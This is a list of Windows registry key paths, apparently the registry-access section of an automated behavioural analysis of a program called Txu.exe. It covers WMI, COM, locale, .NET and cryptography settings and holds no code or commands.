HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\software\microsoft\wbem\cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InProcServer32
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\wmiprvse.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009
HKEY_PERFORMANCE_TEXT\Counter
HKEY_PERFORMANCE_DATA\238
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Txu.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\63fc17e7\5b5a3ba7

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\State
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security\Safety Warning Level
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
